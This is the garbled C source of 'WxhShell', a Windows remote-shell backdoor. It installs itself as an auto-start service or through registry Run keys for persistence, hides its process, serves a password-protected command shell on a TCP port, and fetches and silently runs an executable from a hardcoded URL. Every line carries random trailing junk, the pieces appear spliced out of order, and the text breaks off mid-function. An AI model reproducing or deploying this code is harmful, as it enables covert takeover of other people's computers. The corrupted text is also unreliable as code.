} PROCESS_BASIC_INFORMATION; I=NZokfS
xcf%KXJf6
PROCNTQSIP NtQueryInformationProcess; B[4KX
`WH"%V:"Q
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .8G@%p{,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,5*eX
%$Aqle[
HANDLE hProcess; heK7pH7;d
PROCESS_BASIC_INFORMATION pbi; n;T7= 1_"
UZpIcj cL
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <N9[?g)
if(NULL == hInst ) return 0; 5x>}O3Q_
UTH_^HAN#G
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Sh8"F@P8
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "
_ka<R..
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;hjwD
CtS l
if (!NtQueryInformationProcess) return 0; hBX!iukT|{
LmnymcH
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <fFTY130:
if(!hProcess) return 0; #hsx#x||
E L9]QI
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XUlS\CH@{
Ch3jxgQY
CloseHandle(hProcess); U b* wuI
uPl\I6k
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |]X
if(hProcess==NULL) return 0; k<\$OoOZ
&E=>Hj(dTG
HMODULE hMod; ]&pds\
char procName[255]; M!XsJ<jN/
unsigned long cbNeeded; z=3\Ab
-#HA"7XOE
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hs$GN]
|VNnOM
CloseHandle(hProcess); nPy$D-L,
_<OSqE
if(strstr(procName,"services")) return 1; // 以服务启动 vG"=h%
uD@#
return 0; // 注册表启动 lH6OcD:kj
} +P`*kj-P\
Kiu_JzD
// 主模块 1jF`5k
int StartWxhshell(LPSTR lpCmdLine) PU1Qsb5
{ L=sYLC6d
SOCKET wsl; Nu?-0>
BOOL val=TRUE; K%RxwM
int port=0; #a8B/-
struct sockaddr_in door;
VN\W]jT
(j3xAA
if(wscfg.ws_autoins) Install(); YS *9t
Q{
-3=#u_
port=atoi(lpCmdLine); ?qWfup\S
@6]sNm
if(port<=0) port=wscfg.ws_port; xM&Wgei]10
8Hn|cf0
WSADATA data; #kaY0M
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;
T,
)__h
428>BQA
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; |='z{WS
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); z-.+x3&o @
door.sin_family = AF_INET; 6U R2IxbE
door.sin_addr.s_addr = inet_addr("127.0.0.1"); [c|]f_ZdK
door.sin_port = htons(port); &bfA.&
`
2-Ej4I~
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GfmI<{da
closesocket(wsl); 2vWx)Drb6
return 1; .Lsavpo
} }%_ b$
\}"$ ?d'f
if(listen(wsl,2) == INVALID_SOCKET) { 9|gr0~j
closesocket(wsl); yU-e3O7L
return 1; Ke2ccN
} [VsKa\9u
Wxhshell(wsl); HTS%^<u
WSACleanup(); E4~<V=2l
l^pA2yh|
return 0; li}1S
h1B16)
} r[b(I@T+
<?riU\-]y
// 以NT服务方式启动 ='s(|
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F.=2u"[*&
{ C8V/UbA
/
DWORD status = 0; BlA_.]Sg$
DWORD specificError = 0xfffffff; xgKdMW'%g:
'z%o16F)L
serviceStatus.dwServiceType = SERVICE_WIN32; <YhB8W9 P
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ZL&g_jC
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pH"#8O&
serviceStatus.dwWin32ExitCode = 0; \b?" b
serviceStatus.dwServiceSpecificExitCode = 0; vnM@QfN
serviceStatus.dwCheckPoint = 0; rPLm5ni
serviceStatus.dwWaitHint = 0; rLI8pA|.
opy("qH
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yl7&5)b#9
if (hServiceStatusHandle==0) return; 0c<.iM
]dGw2y
status = GetLastError(); lTV'J?8!-a
if (status!=NO_ERROR) CkoLTY
{ 2Q/4bJpd
serviceStatus.dwCurrentState = SERVICE_STOPPED; mUdOX7$c>
serviceStatus.dwCheckPoint = 0; 0"\H^
serviceStatus.dwWaitHint = 0; @M_oH:GV
serviceStatus.dwWin32ExitCode = status; hPUYyjXPB
serviceStatus.dwServiceSpecificExitCode = specificError; "NXB$a!:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); IDB+%xl#S
return; 2ZG5<"DQ"
} [f1
(`<
_lGdUt 2
serviceStatus.dwCurrentState = SERVICE_RUNNING; |yQZt/*SOZ
serviceStatus.dwCheckPoint = 0; C1m]*}U
serviceStatus.dwWaitHint = 0; I+[>I=ewa
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T>2[=J8U
} B"TAjB&
*
P(,p'I;j
// 处理NT服务事件,比如:启动、停止 pgE}NlW
VOID WINAPI NTServiceHandler(DWORD fdwControl) v*SEb~[
{ LSGBq
switch(fdwControl) B&[M7i
{ W;'!gpa
case SERVICE_CONTROL_STOP: VcSVu
serviceStatus.dwWin32ExitCode = 0; \KQ71yqY
serviceStatus.dwCurrentState = SERVICE_STOPPED; +zaA,e?\
serviceStatus.dwCheckPoint = 0; 5qZ1FE
serviceStatus.dwWaitHint = 0; b\$}>O
{ Rv$[)`&T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &U5{Hm9Ynr
} _m
gHJ 0v'
return; {B?Wu3-
case SERVICE_CONTROL_PAUSE: !'&n-Q
serviceStatus.dwCurrentState = SERVICE_PAUSED; jv%kOovj
break;
19Mu61
case SERVICE_CONTROL_CONTINUE: ER5gmmVP@p
serviceStatus.dwCurrentState = SERVICE_RUNNING; !Wy6/F@Z
break; |:xYE{*)H
case SERVICE_CONTROL_INTERROGATE: $JJrSwR<h
break; $Q96,rb}k;
}; HkUWehVm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pgI^4h
} Lvq>v0|
GT }F9F~
// 标准应用程序主函数 jV>raCK_
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B8V>NvE~o
{ 4E]l{"k<
aWWU4xe
// 获取操作系统版本 mKL<<L[
OsIsNt=GetOsVer(); (Pf+0,2
GetModuleFileName(NULL,ExeFile,MAX_PATH); aJ-K? xQ
EN;}$jZ>47
// 从命令行安装 s:#V(<J
if(strpbrk(lpCmdLine,"iI")) Install(); sk,ox~0R
4'g;TI^
// 下载执行文件 s:/8[(A
if(wscfg.ws_downexe) { PE}:ybsX
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jkiFLtB@V
WinExec(wscfg.ws_filenam,SW_HIDE); bx{$Y_L+p
} w)kNkD
dZ rAn
if(!OsIsNt) { aqRhh=iS
// 如果时win9x,隐藏进程并且设置为注册表启动 yp KUkH/
HideProc(); hb zC#@q
StartWxhshell(lpCmdLine); wKZ$iGMbz
} `\T]ej}zvI
else \>:CvTzF
if(StartFromService()) x(etb<!jd
// 以服务方式启动 :PIF07$xl
StartServiceCtrlDispatcher(DispatchTable); :km61
else DcoX+8 7
// 普通方式启动 hxVKV?Fl
StartWxhshell(lpCmdLine); wRcAX%n&
/'].lp
return 0; kP#B5K_U|
} h]+C.Eqnt#
P7nc7a
h{HF8>u[
=(NB%}
=========================================== -+ SF
- }7e:!.
ej4W{IN~:
y .#")IAF
dv8>[#
U3T#6Rptl
" cC=[Saatsf
3 Nreqq
#include <stdio.h> 42e|LUZg
#include <string.h> SM0~fAtE
#include <windows.h> tZ=E')!\
#include <winsock2.h> C${Vg{g7a
#include <winsvc.h> @R/07&lBR
#include <urlmon.h> {sihus#Q
?t/~lv
#pragma comment (lib, "Ws2_32.lib") r@v,T8
#pragma comment (lib, "urlmon.lib") K`iv c N"
i]Fp..`v~
#define MAX_USER 100 // 最大客户端连接数 Q1O}ly}JS
#define BUF_SOCK 200 // sock buffer MBt9SXM
#define KEY_BUFF 255 // 输入 buffer (qqOjz
vwjPmOjhS
#define REBOOT 0 // 重启 rai3<_W<
#define SHUTDOWN 1 // 关机 ROg(U8
N
0fb`08,^
#define DEF_PORT 5000 // 监听端口 u.d).da
C8[&S&<_<
#define REG_LEN 16 // 注册表键长度 i5Zk_-\#H
#define SVC_LEN 80 // NT服务名长度 C~nzH,5
^B(V4-|
// 从dll定义API Bt>}rYz1
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LJk@Vy <?
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); S4^vpY
DeN
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mL{B!Q
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5mJ JU
GNXHM*~
// wxhshell配置信息 6l5:1|8b,!
struct WSCFG { 'MEz|Z
int ws_port; // 监听端口 U}6.h&$
char ws_passstr[REG_LEN]; // 口令 OTGofd2zf
int ws_autoins; // 安装标记, 1=yes 0=no <KE 1f7c
char ws_regname[REG_LEN]; // 注册表键名 )~+E[|
char ws_svcname[REG_LEN]; // 服务名 +=q$ x Ia
char ws_svcdisp[SVC_LEN]; // 服务显示名 Xf02"PXC
char ws_svcdesc[SVC_LEN]; // 服务描述信息 _A+s)]}
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B^j
int ws_downexe; // 下载执行标记, 1=yes 0=no :"=ez<t
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e\Y*F
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mz@T
3Mxp)uG/
}; ]Y2RqXA*
g#F?!i-[F
// default Wxhshell configuration 2"Ecd
struct WSCFG wscfg={DEF_PORT, @6{~05.p
"xuhuanlingzhe", kSR\RuY*
1, 8Eakif0CO
"Wxhshell", ;pqg/>W'
"Wxhshell", PJ]];MQ
"WxhShell Service", ZAv,*5&<
"Wrsky Windows CmdShell Service", 3&u&x(
"Please Input Your Password: ", \@8+U;d
1, z.GMqW%B
"http://www.wrsky.com/wxhshell.exe", BybW)+~
"Wxhshell.exe" S{;sUGcu
}; Pl=ZRKn
R%Q@
// 消息定义模块 b~'"^ Bts*
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; V,q](bg
char *msg_ws_prompt="\n\r? for help\n\r#>"; k.uMp<)D
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zaah^.MA|
char *msg_ws_ext="\n\rExit."; MYla OT
char *msg_ws_end="\n\rQuit."; ^Wc@oa`
char *msg_ws_boot="\n\rReboot..."; 7on.4/;M
char *msg_ws_poff="\n\rShutdown..."; ?Cl%{2omO
char *msg_ws_down="\n\rSave to "; |K.mP4CKY
Qa.<K{m#?
char *msg_ws_err="\n\rErr!"; EQf[,
char *msg_ws_ok="\n\rOK!"; (iL|Sq&}b
f!s=(H;
char ExeFile[MAX_PATH]; Zb1<:[
int nUser = 0; q:dHC,fO
HANDLE handles[MAX_USER]; n^z]q;IN2.
int OsIsNt; `Jzp Sw
^r*r
w=
SERVICE_STATUS serviceStatus; +)y^'Qs
SERVICE_STATUS_HANDLE hServiceStatusHandle; { jhr<
VY~yg*
// 函数声明 +6';1Nb@
int Install(void); &K.?p2$X
int Uninstall(void); (vb
SM}P
int DownloadFile(char *sURL, SOCKET wsh); }oL'8-y
int Boot(int flag); P8>~c9$I
void HideProc(void); ^c&L,!_)H
int GetOsVer(void); Wn(6,MDUN
int Wxhshell(SOCKET wsl); kO|L bQ@=q
void TalkWithClient(void *cs); oW<5|FaN
int CmdShell(SOCKET sock); 9\/xOwR
int StartFromService(void); f7=((5N
int StartWxhshell(LPSTR lpCmdLine); byTh/ H
Olh<,p+x
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _~piZmkG$
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +tVaBhd!
So0f)`A
// 数据结构和表定义 kdl:Wt*4o
SERVICE_TABLE_ENTRY DispatchTable[] = SzjkI+-$:
{ p4'G$]#
{wscfg.ws_svcname, NTServiceMain}, %@.v2 cT
{NULL, NULL} kg'o&^/=
}; {vuZ{IJa
7cTV?nc
// 自我安装 t0IEaj75c
int Install(void) <-[wd.M_
{ pov)Z):}G<
char svExeFile[MAX_PATH]; gLy&esJl1
HKEY key; m06ALD_
strcpy(svExeFile,ExeFile); {buo^kgj`]
@}@Z8$G^
// 如果是win9x系统,修改注册表设为自启动 O*0l+mop
if(!OsIsNt) { YhDtUt}?
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6"~P/\jP
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F;+|sMrq
RegCloseKey(key); @ Wd9I;hWv
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~},=OF-b
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
k~jP'aD
RegCloseKey(key); h"_MA_]~
return 0; dHv68*^\'
} =~=*&I4Dp
} JwAYG5W
} f}x.jxY?
else { H^s<{E0<
n
p\TlUc
// 如果是NT以上系统,安装为系统服务 paKSr|O
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U-R6xxPZ
if (schSCManager!=0) `QyO`y=?[Y
{ {&\jW!&n
SC_HANDLE schService = CreateService =5kY6%E7c
( Mz~M3$$9n
schSCManager, OoA|8!CFa
wscfg.ws_svcname, nv@8tdrc
wscfg.ws_svcdisp, ~c %hWt
SERVICE_ALL_ACCESS, kic/*v\6@
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YgUvOyaQXf
SERVICE_AUTO_START, 5u*-L_
SERVICE_ERROR_NORMAL, 'H
\9:7
svExeFile, 4:r!|PJn{G
NULL, aB7+Tb
NULL, ][?G/*k
NULL, Ry%Mej:
NULL, \lZf<